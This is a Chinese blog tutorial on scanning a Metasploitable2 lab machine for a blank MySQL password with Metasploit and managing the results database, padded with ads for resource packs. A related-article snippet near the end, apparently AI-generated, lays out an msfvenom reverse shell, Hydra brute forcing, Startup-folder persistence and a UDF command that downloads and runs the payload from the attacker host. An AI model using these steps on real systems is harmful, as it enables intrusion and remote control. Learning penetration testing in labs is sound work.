网络安全kali渗透学习教程—web渗透入门使用msf扫描靶机上mysql服务的空密码

于 2025-02-18 14:55:57 发布
阅读量979 收藏 16
点赞数 31
CC 4.0 BY-SA版权
文章标签： web安全 网络安全 黑客技术 计算机 Kali渗透 Web渗透 干货分享
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_41314882/article/details/145705941

实战-使用msf扫描靶机上mysql服务的空密码

我们启动一台Metasploitable2-Linux靶机网络模式为桥接IP：192.168.1.180 在这里插入图片描述

登录Metasploitable2-Linux系统用户名root，密码：123456 输入ip a 查看ip地址

在这里插入图片描述

登录Kali开始搜索模块

msf6> search mysql_login

在这里插入图片描述

加载模块

msf6 > use auxiliary/scanner/mysql/mysql_login

查看模块配置项

msf6 auxiliary(scanner/mysql/mysql_login) > show options

在这里插入图片描述

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~

我们配置要爆破的用户

msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root

参数：BLANK_PASSWORDS 含意：Try blank passwords for all users #为所有用户尝试空密码 。 blank [blæŋk] 空白的

开启为所有用户尝试空密码

msf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true

设置目标主机

msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.1.180

在这里插入图片描述

配置完成以后我们执行run 或者exploit

msf6 auxiliary(scanner/mysql/mysql_login) > exploit

在这里插入图片描述

执行成功

使用后端凭证命令creds ， 列出数据库中的所有凭据

Credentials   [krəˈdenʃlz]  凭证;证书;
msf6 auxiliary(scanner/mysql/mysql_login) > creds

在这里插入图片描述

将扫描的结果导出Metasploit与导入另一台机器的Metasploit中

数据库后端命令：

db_connect   连接到现有的数据库
db_disconnect   断开与当前数据库实例的连接
db_export   导出包含数据库内容的文件
db_import   导入扫描结果文件（文件类型将被自动检测）

例1：将前面扫描mysql数据库空密码信息导出

msf6 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml

注：导出只支持两种格式：xml和pwdump

常用的导出格式为 xml

在这里插入图片描述

导出以后退出程序

msf6 auxiliary(scanner/mysql/mysql_login) > exit

例2：将扫描的结果导入另一台机器的Metasploit中 我们就不再开一台新Kali，直接重置数据库，当成新的来用

┌──(root💀xuegod53)-[~]
└─# msfdb reinit

连接Metasploit

└─# msfconsole
msf6 > hosts

在这里插入图片描述

数据库中主机信息是空的，我们导入数据

msf6 > db_import /root/bak.xml

在这里插入图片描述

msf6 > hosts

在这里插入图片描述

hosts命令有多个选项，通过 hosts -h 可以查看

msf6 > hosts -h

在这里插入图片描述

在这里，最重要的是选项 -c，此选项使我们能够选择要用hosts命令显示的数据的列或字段（类似于SQL中的select命令）。在上图中可以看到显示的可用列。 例：显示指定列的主机信息

msf6 > hosts -c address,name,os_name

在这里插入图片描述

删除指定主机

msf6 > hosts -d 192.168.1.180

在这里插入图片描述

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~

除此之外我们还可以直接将NMAP的扫描结果导入到Metasploit数据库中我们新开一个终端窗口来进行扫描。

└─# nmap -A xuegod.cn -oX xuegod.xml 
-oX  将扫描信息导出到XML文件中

在这里插入图片描述

我们回到Metasploit导入扫描结果

msf6 > db_import /root/xuegod.xml

在这里插入图片描述

msf5 > hosts

在这里插入图片描述

查看我们数据库中的主机都开放了哪些服务

msf5 > services

在这里插入图片描述

显示指定主机的服务信息

msf5 > services  -R 101.200.128.35

在这里插入图片描述

扩展： 在msf命令提示符下输入help后，显示的命令列表和作用描述。 msf6 > help

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~

核心命令

？   帮助菜单
banner   显示一个metasploit横幅
cd   更改当前的工作目录
color   切换颜色
connect   连接与主机通信
exit   退出控制台
get   获取特定于上下文的变量的值
getg   获取全局变量的值
grep grep另一个命令的输出  如： grep creds help
help   帮助菜单
history   显示命令历史
irb   进入irb脚本模式
load   加载一个框架插件
quit   退出控制台
route   通过会话路由流量
save   保存活动的数据存储
sessions    转储会话列表并显示有关会话的信息
set   将特定于上下文的变量设置为一个值
setg   将全局变量设置为一个值
sleep   在指定的秒数内不做任何事情
spool   将控制台输出写入文件以及屏幕
threads   线程查看和操作后台线程
unload   卸载框架插件
unset   取消设置一个或多个特定于上下文的变量
unsetg   取消设置一个或多个全局变量
version   显示框架和控制台库版本号

模块命令

advanced   显示一个或多个模块的高级选项
back   从当前上下文返回
edit   使用首选编辑器编辑当前模块
info   显示有关一个或多个模块的信息
loadpath   路径从路径搜索并加载模块
options   显示全局选项或一个或多个模块
popm   将最新的模块从堆栈中弹出并使其处于活动状态
previous   将之前加载的模块设置为当前模块
pushm   将活动或模块列表推入模块堆栈
reload_all   从所有定义的模块路径重新加载所有模块
search   搜索模块名称和描述
show   显示给定类型的模块或所有模块
use   按名称选择模块

工作命令

handler   作为作业启动负载处理程序
jobs   显示和管理作业
kill   杀死一个工作
rename_job   重命名作业

资源脚本命令

makerc   保存从开始到文件输入的命令
resource   运行存储在文件中的命令

数据库后端命令

db_connect   连接到现有的数据库
db_disconnect   断开与当前数据库实例的连接
db_export   导出包含数据库内容的文件
db_import   导入扫描结果文件（文件类型将被自动检测）
db_nmap   执行nmap并自动记录输出
db_rebuild_cache   重建数据库存储的模块高速缓存
db_status   显示当前的数据库状态
hosts   列出数据库中的所有主机
loot   列出数据库中的所有战利品
notes   列出数据库中的所有笔记
services   列出数据库中的所有服务
vulns   列出数据库中的所有漏洞
workspace   在数据库工作区之间切换
creds   列出数据库中的所有凭据

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。（全套教程扫描领取哈）
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：
在这里插入图片描述
黑客资料由于是敏感资源，这里不能直接展示哦！ （全套教程扫描领取哈）

👉4.护网行动资料👈

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~

网络安全kali渗透学习 web渗透入门 使用msf扫描靶机上mysql服务的空密码
xueshenlaila的博客
03-02 3364
我们启动一台Metasploitable2-Linux靶机网络模式为桥接IP：192.168.1.180
kali Linux-网络安全实战-使用msf扫描靶机上mysql服务的空密码
xueshenlaila的博客
12-22 6147
实战-使用msf扫描靶机上mysql服务的空密码 我们启动一台Metasploitable2-Linux靶机网络模式为桥接IP：192.168.1.180 登录Metasploitable2-Linux系统用户名root，密码：123456 输入ip a 查看ip地址 登录Kali开始搜索模块 msf6> search mysql_login 加载模块 msf6 > use auxiliary/scanner/mysql/mysql_login 查看模块配置项 msf6 auxilia
使用msf 扫描靶机上的mysql服务的空密码
枫梓林のBlog
04-21 802
使用msf 扫描靶机上的mysql服务的空密码 文章目录使用msf 扫描靶机上的mysql服务的空密码一、实验拓扑二、尝试破解MySQL的空密码三、将扫描的记过导出 Metasploit 与导入另一台机器的 Metasploit 中3.1 将前面扫描的MySQL数据库空密码信息导出 实验环境 kali Linux 2019.1a Metasploittable2- Linux 一、实验拓扑 二、尝试破解MySQL的空密码 打开终端进入 msf 搜索模块并加载模块 msf5 > search my
【渗透实战】使用msf扫描靶机上mysql服务的空密码
yummy11111的博客
03-28 3707
实战-使用msf扫描靶机上mysql服务的空密码 metasploit靶机：网络模式为桥接模式 IP：192.168.111.138 账号：root 密码：root 查看是否存在空密码，有的话之后就加载辅助模块 查看空密码模块：可以看到是true（如果是false则要设置为true） 设置RHOSTS(目标机的IP地址) 4、run或者是exploit（成功检测出存在空密码） 使用命令creds，列出数据库中的所有凭证 以xml文件的形式导出文件 ...
实战-msf扫描靶机上mysql服务空密码
保持微笑的博客
01-15 1423
靶机的安装我们在上面的文章里讲解过了。 操作流程： kali系统的IP是192.168.0.109。启动一台Metasploitable2-Linux靶机，网络模式设置为桥接。 登录Metasploitable2-Linux系统用户名root，密码：root 查看靶机的ip 因为要查找的是mysql的空密码，涉及到登陆问题。我们可以去查找login。 加载模块 查看需要设置的参数 设置目标主机 设置目标账号 查看 BLANK_PASSWORDS 是否...
网络安全kali渗透学习 web渗透入门 Metasploit渗透测试框架介绍-Metasploitable2-Linux 靶机系统介绍
xueshenlaila的博客
02-28 2407
Metasploit是一个免费的、可下载的框架，通过它可以很容易对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时，计算机安全状况也被永久性地改变了。仿佛一夜之间，任何人都可以成为黑客，每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了，这是因为Metasploit团队一直都在努力开发各种攻击工具，并将它们贡献给所有Metasploit用户。
2024全国职业技能大赛-网络安全赛题解析总结①（超详细）_kali渗透 技能大赛
2401_86044376的博客
08-26 1600
5.改变默认mysql管理员用户为:SuperRoot；6.使用mysql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!7.对Web网站进行HTTP重定向HTTPS设置，仅使用HTTPS协议访问网站（Windows）(注：证书颁发给test.com 并通过https://www.test.com访问Web网站)。8.将Web服务器开启审核策略登录事件 成功/失败；特权使用 成功；策略更改 成功/失败；进程跟踪 成功/失败。9.Windows系统禁用445端口；
渗透工具之Kali MSF（metasploit framework）使用
赤赤三的博客
03-20 5063
初识MSF（渗透测试开源软件平台，一个漏洞利用框架，对计算机软件漏洞进行攻击） Kali查找MSF框架：cd /usr/share/metasploit-framework，进入windows攻击模块：cd /usr/share/metasploit-framework/modules/exploits/windows 学习路线：MSF了解------>安装MSF2-Linux靶机------->MSF基本使用方法------>MSF实战：攻击win7主机并远程执行命令|扫描靶机my
msf扫描靶机mysql空密码
Deeeelete的博客
02-19 713
完整步骤： msf5 > use auxiliary/scanner/mysql/mysql_login msf5 auxiliary(scanner/mysql/mysql_login) > show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current...
kali渗透攻击MySQL
weixin_45937436的博客
03-16 2585
启动MSFCONSOLE 扫描所有有效的MySQL 注意：输出信息显示Mysql可用模块，在模块中，选择渗透工具模块进行攻击 然后使用MySQL扫描模块 显示模块的有效项 为攻击目标指定目标系统IP，用户文件，密码文件 启用渗透攻击 ...
Metasploit扫描Mysql弱口令
weixin_33672109的博客
09-01 657
msf > db_connect -y /opt/metasploit/apps/pro/ui/config/database.yml msf连接数据库[*] Rebuilding the module cache in the background...msf > db_status 查看数据库连接状态[*] postgresql connected to...
Kali linux渗透测试——查看靶机DVWA默认密码
Bulldozer_GD的博客
06-02 2810
Kali linux渗透测试——查看靶机DVWA默认密码 下载了OWASP BWA（Broken Web Application）的虚拟机，但是DVWA的登陆密码忘记了默认（admin 密码 password)下面尝试从metasploitable_linux主机修改密码。 1.到BWA靶机中的dvwa的web目录/owaspbwa/owaspbwa-svn/var/www/dvwa下查看login.php，发现登录时php计算密码的md5值，并后台连接mysql数据库。 2.查看/owaspbwa/owa
【kali-漏洞利用】（3.4）Metasploit渗透攻击应用：MySQL渗透过程
08-06 2771
【kali-漏洞利用】应用渗透攻击过程
Kali系统MSF模块暴力破解MySQL弱口令漏洞
dzqxwzoe的博客
02-26 1465
攻击环境使用KALI系统（使用虚拟机搭建）的Metasploit模块，msfconsole是metasploit中的一个工具，它集成了很多漏洞的利用的脚本，并且使用起来很简单的网络安全工具。这里要特别强调：被攻击的环境必须开启mysql远程登陆服务,通常MySQL开启的端口号是3306，故而一般情况下要求被攻击的服务器开启了3306端口号。
使用Kali上的Metasploit进行获取mysql登录密码信息
WEL测试
03-30 4664
前置条件 靶机：metasploitable2 靶机IP：192.168.88.137 初始密码是：msfadmin/msfadmin kali安装的镜像为：kali-linux-2019.1a-amd64.iso KaliIP为：192.168.88.132 设置靶机的上mysql密码，执行shell命令： sudo mysql 选择mysql数据库： use mysql;...
网络安全kali web安全 Kali之msf简单的漏洞利用
xueshenlaila的博客
03-08 1万+
信息收集 靶机的IP地址为：192.168.173.136 利用nmap工具扫描其开放端口、系统等 整理一下目标系统的相关信息 系统版本：Windows server 2003 开放的端口及服务： 21/tcp ftp 135/tcp msrpc 139/tcp netbios-ssn 445/tcp microsoft-ds 777/tcp multiling-http 1025/tcp NFS-or-IIS 1026/tcp LSA-or-nterm 1029/tcp ms
用 Kali 实现爆破获取用户名密码
热门推荐
tryheart的博客
08-26 1万+
preferen–setting 然后在浏览器里面输入搭建好的服务器地址 右键 看长度
Kali Linux学习笔记—Web渗透（2-3）手动漏洞挖掘
weixin_43653897的博客
12-16 1595
手动漏洞挖掘身份认证 账号密码层面会话sessionID密码找回漏洞挖掘原则目录遍历 / 文件包含 matesploitable：172.16.2.65 kali linux：172.16.2.63 身份认证 账号密码层面 常用弱口令/基于字典的密码爆破 锁定账号 信息手机 手机号 密码错误提示信息 密码嗅探 如果有不一样，可将其右键发送到intruder加入变量 会话sessionID Xss / cookie importer SessionID in URL 嗅探 SessionID
Qt下载安装及配置教程(非常详细)，从零基础入门到精通，看完这一篇就够了
Innocence_0的博客
08-19 4998
下载开源版往下滑，下载Qt在线安装程序它已经检测出我的是windows系统，直接点击download就好。如果是其它的系统，需要找到对应自己系统的安装包。然后跟网速有关，等一会就会自动下载等待下载完成，双击.exe文件，就可以进行安装。首先就是登录qt账户，如果没有可以自行注册一个。然后选择个人用户，之后点击下一步进行安装。如果没有报错，那继续往下：这一步是问你对qt有什么改善的建议，我这里直接选择没有，然后继续进行下一步。
kali如何远程连接靶机数据库执行msf制作的木马
最新发布
04-03
<think>好的，我现在需要帮助用户了解如何通过Kali Linux远程连接到目标机器的数据库，并使用Metasploit生成的木马进行操作。首先，我需要理清用户的真实需求。用户可能在进行渗透测试，想要结合数据库访问和后门控制。因此，步骤可能包括生成木马、设置监听、诱导目标运行木马、连接数据库以及后续操作。 首先，我需要回忆Metasploit生成木马的常用命令，比如msfvenom。记得生成Windows木马的命令结构，例如指定payload、LHOST、LPORT等参数。然后，配置监听器使用exploit/multi/handler模块。这部分需要确保payload设置与生成的木马一致，否则无法建立会话。 接下来是数据库连接。用户提到远程连接靶机的数据库，这可能涉及到MySQL、PostgreSQL等。需要检查靶机数据库的端口是否开放，是否有弱口令或者已知漏洞。比如，使用nmap扫描靶机的3306端口（MySQL），然后使用hydra进行密码爆破。如果成功获取凭证，可以用mysql命令连接。 然后，结合这两个步骤，用户可能想通过数据库上传木马，或者利用数据库的漏洞执行命令来触发木马。例如，如果数据库有写权限，可以将木马文件路径插入到某个表中，或者利用UDF（用户定义函数）执行系统命令。这部分需要具体分析靶机环境，可能存在不同的方法。 另外，需要注意引用中的信息，比如引用[3]和[4]提到将木马放在Apache目录下，开启服务供靶机下载。这可能是一个常见的传播方式，用户需要确保Apache服务正确配置，并且靶机能够访问该地址。 可能的问题点包括：木马是否会被杀软检测，数据库的权限是否足够执行远程命令，以及监听器是否正确配置。需要提醒用户在实际渗透测试中获取合法授权，并注意环境隔离。 最后，生成相关问题时要考虑用户可能的后续疑问，比如如何维持持久访问、如何提升权限，或者如何绕过杀毒软件。确保问题覆盖渗透测试的常见步骤，帮助用户深入理解整个流程。</think>### Kali Linux远程连接数据库及Metasploit木马操作教程 #### 一、生成Metasploit木马 1. 使用`msfvenom`生成Windows木马： ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的Kali_IP LPORT=监听端口 -f exe -o payload.exe ``` 参数说明： - `-p`：指定payload类型（反向TCP连接） - `LHOST`：Kali的IP地址 - `LPORT`：监听端口（如4444） - `-f exe`：输出为可执行文件[^4] 2. 将木马部署到Web服务： ```bash cp payload.exe /var/www/html/ systemctl start apache2 ``` 靶机通过访问`http://Kali_IP/payload.exe`即可下载木马[^3]。 --- #### 二、设置Metasploit监听 1. 启动Metasploit框架： ```bash msfconsole ``` 2. 配置监听模块： ```bash use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 你的Kali_IP set LPORT 监听端口 exploit ``` 当靶机运行木马后，会建立Meterpreter会话。 --- #### 三、连接目标数据库（以MySQL为例） 1. 扫描数据库服务： ```bash nmap -p 3306 靶机_IP ``` 确认3306端口开放状态[^2]。 2. 爆破数据库密码： ```bash hydra -l root -P /usr/share/wordlists/rockyou.txt 靶机_IP mysql ``` 3. 连接数据库： ```bash mysql -h 靶机_IP -u 用户名 -p ``` 执行SQL命令验证权限，例如查看数据库列表： ```sql SHOW DATABASES; ``` --- #### 四、结合数据库操作执行木马 若已获取数据库写权限，可通过以下方式触发木马： 1. **写入启动项**（需FILE权限）： ```sql SELECT "木马文件URL" INTO OUTFILE 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe' ``` 2. **利用UDF执行命令**： ```sql CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.dll'; SELECT sys_exec('curl http://Kali_IP/payload.exe -o C:\\temp\\payload.exe && C:\\temp\\payload.exe'); ``` --- #### 五、后渗透操作 建立Meterpreter会话后可执行： ```bash # 获取系统信息 sysinfo # 截取屏幕 screenshot # 上传/下载文件 upload /path/to/file download secret.txt # 开启远程桌面 run post/windows/manage/enable_rdp ``` ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值